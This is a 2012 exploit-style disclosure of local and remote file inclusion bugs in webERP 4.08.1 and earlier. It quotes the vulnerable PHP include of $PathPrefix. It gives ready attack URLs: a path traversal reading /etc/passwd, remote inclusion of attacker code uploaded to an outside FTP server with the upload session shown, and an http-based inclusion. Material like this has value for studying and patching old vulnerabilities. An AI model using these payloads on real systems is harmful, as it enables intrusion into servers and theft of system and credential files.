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   $$,    $$$$      $$$  $$$ "Y$c$$
   888_,o8P'88    .d888  888    Y88
   MMMMP"`   "YmmMMMM""  MMM     YM
    
  [ Discovered by dun \ posdub[at]gmail.com ]
  [ 2012-06-27                              ]
###################################################################
# [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability  #
###################################################################
#
# Script: "Accounting & Best Practice Business Administration System"
#
# Vendor:   http://www.weberp.org/
# Download: http://sourceforge.net/projects/web-erp/files/
#
# File: ./webERP/index.php (line: 4)
#   1    <?php
#   2    $PageSecurity=0;
#   3
#   4    include('includes/session.inc');                    // 1
#  ..cut..
#
# File: ./webERP/includes/session.inc (lines: 4-16)
#  ..cut..
#   4    if (!isset($PathPrefix)) {                          // 2
#   5        $PathPrefix='';
#   6    }
#   7
#   8
#   9    if (!file_exists($PathPrefix . 'config.php')){      // 3
#  10        $rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));
#  11        if ($rootpath == '/' OR $rootpath == "\\") {
#  12            $rootpath = '';
#  13        }
#  14        header('Location:' . $rootpath . '/install/index.php');
#  15    }
#  16    include($PathPrefix . 'config.php');                // 4 [LFI]/[RFI]
#  ..cut..
#   
# [LFI] ( magic_quotes_gpc = Off; )
# Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
#
# [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
# It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),
# when we use some url wrappers. For example ftp://
# Example:
#
# dun@rd01 ~ $ cat ./config.php
#  <?php phpinfo(); ?>
# dun@rd01 ~ $ ftp ftp.server.com
#  Connected to ftp.server.com.
#  Name (ftp.server.com): user
#  331 User user OK. Password required
#  Password:
#  230 OK. Current restricted directory is /
#  ftp> put config.php
#  local: config.php remote: config.php
#  200 PORT command successful
#  226 File successfully transferred
#  ftp> quit
#  221 Logout.
#
# Now we can use url:
# Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/
# In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.
# If exist, then include it.
#
###################################################################
#
# [RFI #2] ( allow_url_include = On; register_globals = On; )
#
# File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
#  ..cut..
#  29    if (!function_exists('gettext')) {
#  ..cut..
#  34        require_once($PathPrefix . 'includes/php-gettext/streams.php');
#  ..cut..
#  64    } else {
#  65        include($PathPrefix . 'includes/LanguagesArray.php');
#  ..cut..
#  84    }
#  ..cut..
#
# Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
#
### [ dun / 2012 ] #####################################################